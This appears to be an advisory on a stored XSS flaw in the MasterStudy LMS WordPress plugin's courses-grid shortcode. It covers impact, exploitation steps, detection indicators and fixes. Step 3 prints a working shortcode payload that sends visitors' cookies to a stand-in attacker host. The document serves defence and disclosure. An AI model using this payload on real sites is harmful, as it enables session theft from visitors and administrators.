CVE-2026-0559: 
WordPress vulnerability analysis and mitigation

CVE-2026-0559 is a Stored Cross-Site Scripting (XSS) vulnerability in the MasterStudy LMS WordPress Plugin – for Online Courses and Education. It affects all versions up to and including 3.7.11, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the stm_lms_courses_grid_display shortcode. The vulnerability was published on February 14, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The vulnerability exists because the stm_lms_courses_grid_display shortcode does not properly sanitize user-supplied attributes before rendering them in HTML output, allowing arbitrary JavaScript to be embedded in page content. Exploitation requires an authenticated attacker with at least contributor-level access to insert a malicious shortcode into a post or page; the injected script then executes in the browser of any user who visits the affected page (Red Hat CVE, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of course-related content. The CVSS scope is marked as Changed, indicating that the impact extends beyond the vulnerable component to affect end users' browsers, with low confidentiality and integrity impacts and no availability impact (Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2026-0559. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Gain Contributor Access: Obtain or register an account on the target WordPress site with at least contributor-level privileges.
2. Create or Edit a Post/Page: Navigate to the WordPress editor and create or edit a post or page where shortcodes are permitted.
3. Insert Malicious Shortcode: Embed the vulnerable shortcode with a crafted attribute containing a JavaScript payload, for example: [stm_lms_courses_grid_display attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Submit or publish the post/page so the injected shortcode is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing stm_lms_courses_grid_display shortcode with unusual or encoded attribute values; audit log entries for content edits by contributor-level accounts.
• File System / Database: WordPress wp_posts table entries containing stm_lms_courses_grid_display shortcode with embedded <script> tags or JavaScript event handlers (e.g., onerror, onload) in shortcode attributes.
• Network: Outbound browser requests from site visitors to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages hosting the MasterStudy LMS shortcode.
• Process/Behavior: Unexpected JavaScript execution or redirects observed by users visiting course-related pages on the affected WordPress site.

WordPress site administrators should update the MasterStudy LMS plugin to a version beyond 3.7.11 that includes a fix for this vulnerability. Until a patched version is available or applied, restricting contributor-level user registration and limiting who can publish or edit posts/pages containing shortcodes will reduce exposure. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules (such as those provided by Wordfence) can help detect and block exploitation attempts (Wordfence, Red Hat CVE).

Wordfence included CVE-2026-0559 in their weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence). No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability aggregator coverage.